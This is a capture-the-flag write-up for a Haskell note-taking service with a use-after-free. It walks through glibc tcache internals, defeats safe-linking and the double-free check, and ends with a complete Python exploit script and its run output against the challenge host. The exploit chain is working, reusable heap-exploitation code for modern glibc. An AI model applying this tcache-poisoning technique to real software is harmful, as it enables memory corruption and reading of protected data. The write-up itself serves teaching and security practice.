pure-notes
A Haskell notes program with a use-after-free: delete frees the buffer but keeps the record. Defeating tcache safe-linking and the double-free check turns that into a read of the flag pointer left on the banner.
On this page
Language: Haskell (GHC), compiled via `ghc Main.hs` on Debian
Runtime: socat tcp-l:1337,reuseaddr,fork exec:/app/Main,pty,echo=0,raw,iexten=0
Heap: glibc tcache with safe-linking (modern glibc, 2.32+)A Haskell note server that looks like it should be immune to memory corruption. It is not, because the notes are raw C buffers allocated with Foreign.Marshal.Alloc.mallocBytes and released with free. The purity is a costume. Underneath, it is a plain glibc heap challenge with a use-after-free. The banner prints the flag’s address, saving the need for a leak.
1. The program
Main.hs is a menu-driven note taker. Commands live in a [(String, Command)] dispatch table:
type Notes = [(String, CStringLen)]
commands = [("new", new), ("write", write), ("writehex", writehex),
("view", view), ("delete", delete),
("exit", const $ const $ lift $ exitSuccess), ("list", list)]new calls mallocBytes size and prepends the resulting (name, (ptr, size)) pair to the list. write and writehex do a lookup for the name and pokeArray bytes into the buffer. view reads with peekCAStringLen and prints. list prints all names. Standard note-taker fare.
The main function leaks the flag address:
main = do
...
flag <- readFile "flag.txt"
withCAString flag $ \cstr -> do
putStrLn "Welcome to my note taking program"
print cstr -- Show (Ptr a) prints the raw address
putStrLn ""
loop []print cstr uses the Show instance for Ptr a, which renders the pointer in hex. withCAString allocates via allocaBytes, so the buffer lives on the GHC heap rather than in glibc. That would matter if we had to reach the flag through the allocator that owns it, but we do not. Tcache poisoning returns whatever address we ask for, so all we need is the number.
2. Bug 1: delete frees but keeps the record
delete args notes = do
name <- hoistMaybe $ args !? 0
(b, _) <- hoistMaybe $ lookup name notes
lift $ free b
lift $ putStrLn $ "Deleted note " ++ name
return notes -- <-- note is NOT removed from the listThe buffer gets freed. The (name, (ptr, len)) pair stays in notes. Every subsequent lookup name still returns the dangling pointer, so view reads freed memory and write / writehex write to it. This yields read and write primitives against arbitrary tcache-managed chunks if the allocator places another chunk at the dangling address.
3. Bug 2: the flag pointer on the banner
print cstr prints the address of the pinned C string that holds the flag. Reading one line off the socket is enough to get it:
Welcome to my note taking program
0x4200504320This GHC-heap address does not match the typical 0x7f... libc mapping.
Given a known address, the exploit only requires an arbitrary read. Tcache poisoning provides this.
4. glibc heap background
Every allocation in the exploit uses size = 128. After alignment and metadata that becomes a chunk in the same tcache bin, so all allocations use the same bin.
The tcache entry
A freed tcache chunk is treated as a tcache_entry:
typedef struct tcache_entry {
struct tcache_entry *next; // offset 0
uintptr_t key; // offset 8
} tcache_entry;next is the singly linked free-list pointer. key is a per-thread double-free marker. In glibc 2.34 and later it is a random value (tcache_key) seeded at thread start. In 2.29 through 2.33 it is the address of the thread’s tcache struct. Either way it is a fixed nonzero value, which is all the exploit needs.
Safe-linking
Glibc 2.32+ obfuscates next pointers in the tcache and fastbins:
#define PROTECT_PTR(pos, ptr) \
((__typeof(ptr)) ((((size_t)(pos)) >> 12) ^ ((size_t)(ptr))))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)The stored value is (&entry->next >> 12) ^ ptr. Writing NULL (end of the list) stores &entry->next >> 12, which is the entry’s own mem address shifted right by 12. Note that this is chunk2mem(chunk), 16 bytes above the chunk header on x86-64, not the chunk address itself. That value is the slot’s mangling key, and it occupies the first 8 bytes of the user-data area.
Double-free detection in tcache_put / _int_free
When freeing into tcache, glibc walks the bin and checks if the incoming chunk is already there. The scan uses e->key:
// simplified from _int_free / tcache_put
if (__glibc_unlikely(e->key == tcache_key)) {
// maybe already in tcache; walk the bin and abort on match
for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR(tmp->next))
if (tmp == e) malloc_printerr("free(): double free detected in tcache 2");
}
e->key = tcache_key;Zeroing e->key before the second free skips the scan entirely, allowing the same chunk to be freed twice.
tcache_get, the count, and aligned_OK
Malloc only calls tcache_get while counts[idx] > 0. That gate lives in __libc_malloc/_int_malloc rather than in tcache_get itself. tcache_get validates alignment and decrements the count:
// simplified from tcache_get
if (!aligned_OK(e)) // 16-byte alignment check
malloc_printerr("malloc(): unaligned tcache chunk detected");
tcache->entries[idx] = REVEAL_PTR(e->next);
--tcache->counts[idx];
e->key = 0; // clears offset +8
return (void*)e;The exploit must satisfy two constraints. The target must be 16-byte aligned to pass the aligned_OK check, and tcache_get writes 8 zero bytes at target + 8 when clearing key, which corrupts any data at that offset.
5. Exploit chain
All operations use one note name (a) plus two later allocations (b, c). Every allocation is size 128.
| step | command | heap effect | user-facing effect |
|---|---|---|---|
| 1 | new a 128 | fresh chunk, call it A | notes = [(a, A)] |
| 2 | delete a | A enters tcache bin, A->next = PROTECT_PTR(A, NULL) = A>>12, A->key = tcache_key | list unchanged, dangling A |
| 3 | view a | reads freed A | leaks A>>12 (the mangling key for slot A) |
| 4 | writehex a 0x00 * 16 | overwrites A->next and A->key with NULL | UAF write on freed chunk |
| 5 | delete a | second free of A. e->key == 0 != tcache_key, so double-free scan is skipped. counts[idx] = 2, head stays A and tcache_put re-mangles A->next against the old head, so A->next = (A>>12) ^ A and the list loops A -> A | still one entry in notes |
| 6 | writehex a p64(key ^ target) | overwrites A->next with a mangled pointer to target | poisoned free-list head chain: A -> target |
| 7 | new b 128 | tcache_get returns A; bin head becomes REVEAL_PTR(target_mangled) = target | notes = [(b, A), (a, A)] |
| 8 | new c 128 | tcache_get returns target itself; e->key = 0 writes 8 zero bytes at target + 8 | notes = [(c, target), (b, A), (a, A)] |
| 9 | view c | peekCAStringLen target 128 | prints the flag |
Picking target
The flag string lives at flag_addr. Two constraints dictate the choice:
aligned_OKrequirestarget % 16 == 0.tcache_getzeroes 8 bytes attarget + 8.
target = flag_addr - 16 satisfies both if flag_addr is 16-byte aligned. It is. allocaBytes allocates through newPinnedByteArray#, whose RTS path aligns the payload to 16 bytes rather than merely to a word. The observed 0x4200504320 is consistent with that, and 0x4200504320 % 16 == 0.
The zero write at target + 8 lands on the 8-byte length word of the 16-byte StgArrBytes header, safely ahead of the flag text. tcache_get also reads 8 bytes at target itself, unmangles the info pointer it finds there, and installs the garbage as the new bin head. That is inert here only because counts[idx] reaches 0 and the bin is never touched again. Reading 128 bytes from target covers the flag.
6. Why the notes end up in glibc’s tcache at all
GHC has its own heap and its own allocator, but the notes buffers bypass it. Foreign.Marshal.Alloc.mallocBytes wraps a direct FFI call to malloc:
mallocBytes :: Int -> IO (Ptr a)
mallocBytes size = failWhenNULL "malloc" (_malloc (fromIntegral size))
foreign import ccall unsafe "stdlib.h malloc" _malloc :: CSize -> IO (Ptr a)free from the same module is foreign import ccall unsafe "stdlib.h free". Thus new and delete call libc malloc(128) and free(ptr) directly, which interacts with the tcache like a C program. allocaBytes, used by withCAString, allocates a pinned MutableByteArray# on the GHC heap, which is why the flag address is outside the tcache range.
7. The output encoding round-trip
view is peekCAStringLen (ptr, len) >>= putStrLn, and main sets the stdout encoding to UTF-8:
hSetEncoding stdout utf8
...
view args notes = do
...
lift $ peekCAStringLen cstr >>= putStrLnpeekCAStringLen reads raw bytes and widens each to a Char in U+0000..U+00FF. putStrLn then encodes that String as UTF-8. Any byte with the high bit set is encoded as two bytes. Decoding the received data as Latin-1 yields corrupt bytes. Decoding as UTF-8 returns code points that must be folded back into bytes:
def view(name):
cmd(b'view ' + name)
text = result().decode('utf-8', errors='replace')
return bytes(ord(ch) & 0xFF for ch in text)This is necessary when reading a mangling key containing bytes greater than 0x7f, which the live key 7c9a010000000000 does (0x9a).
One caveat on that snippet: errors='replace' turns any invalid sequence into U+FFFD, and chr(0xFFFD) & 0xFF is 0xFD, so a genuinely malformed stream would be silently rewritten into plausible-looking bytes instead of raising. It is safe here because the stream really is valid UTF-8, but errors='strict' is the better default if you are adapting this.
8. Full exploit
SIZE = 128
# leak the flag pointer from the banner
io.recvuntil(b'Welcome to my note taking program\n')
flag_addr = int(io.recvline().strip(), 16)
target = flag_addr - 16
assert target % 16 == 0
# 1st free: leak the safe-linking key
cmd(b'new a %d' % SIZE); result()
cmd(b'delete a'); result()
mangle_key = u64(view(b'a')[0:8]) # (A >> 12) ^ NULL
# 2nd free: zero e->key so tcache_put skips the double-free scan
writehex(b'a', p64(0) * 2)
cmd(b'delete a'); result() # counts[idx] == 2
# poison next, then drain the bin
writehex(b'a', p64(mangle_key ^ target))
cmd(b'new b %d' % SIZE); result() # -> A
cmd(b'new c %d' % SIZE); result() # -> target
data = view(b'c')
start = data.find(b'brunner{')
print(data[start:data.index(b'}', start) + 1].decode())Nine commands in total: three to recover the mangling key (new a, delete a, view a) and six to turn it into an arbitrary read (writehex, delete, writehex, new b, new c, view c). No ROP, no libc leak, no gadget search.
9. Running it
$ python3 exploit.py pure-notes-af74529dd67613a5-global.challs.brunnerne.xyz:1337
[+] Opening connection to pure-notes-...challs.brunnerne.xyz on port 1337: Done
[+] flag string @ 0x4200504320
[+] mangle key (a>>12) = 0x19a7c
[+] FLAG: brunner{not_so_functional_is_it}The addresses confirm the separation of heaps. The flag is located at 0x4200504320 in the GHC heap, while the note chunk is on the glibc brk heap at roughly 0x19a7c000. Poisoning the free list with key ^ target returns the requested target address regardless of which heap it belongs to.
10. Takeaways
Foreign.Marshal.Alloc.mallocBytesismalloc. A Haskell program using it inherits standard glibc heap behavior, including safe-linking. Purity is a property of the type system rather than the memory model.- First free into an empty tcache bin stores
PROTECT_PTR(&next, NULL) = &next >> 12at offset 0. This is the safe-linking key for the slot, which can be read via UAF to poison the bin without a separate heap leak. - Zeroing
entry->keybefore the secondfreemakes glibc skip its double-free scan, which checks fore->key == tcache_key. tcache_getclearse->key, which corrupts 8 bytes at+8of the returned chunk. Targets must be offset to protect critical data.- Reading raw bytes from a UTF-8 stdout is a two-step decode: UTF-8 to code points, then
chr & 0xFFback to bytes.print cstrin Haskell prints the pointer rather than the string, providing the necessary address leak.
Notes on what I could not verify from this workspace:
- The container’s exact glibc version.
Dockerfilepins Debian by digest (sha256:96031e99…) with no tag, and no libc binary is checked in, so the release is not derivable offline. Safe-linking (2.32+) and the randomtcache_key(2.34+) are stated by version range rather than pinned to a specific build. - GHC’s pinned
ByteArray#layout and the 16-byte payload alignment fromnewPinnedByteArray#. There is no GHC toolchain on this machine, so this comes from the runtime’s documented behaviour and is corroborated only by the observed address0x4200504320being 16-byte aligned. - The exploit itself is not in question: it was run against the live instance and returned the flag.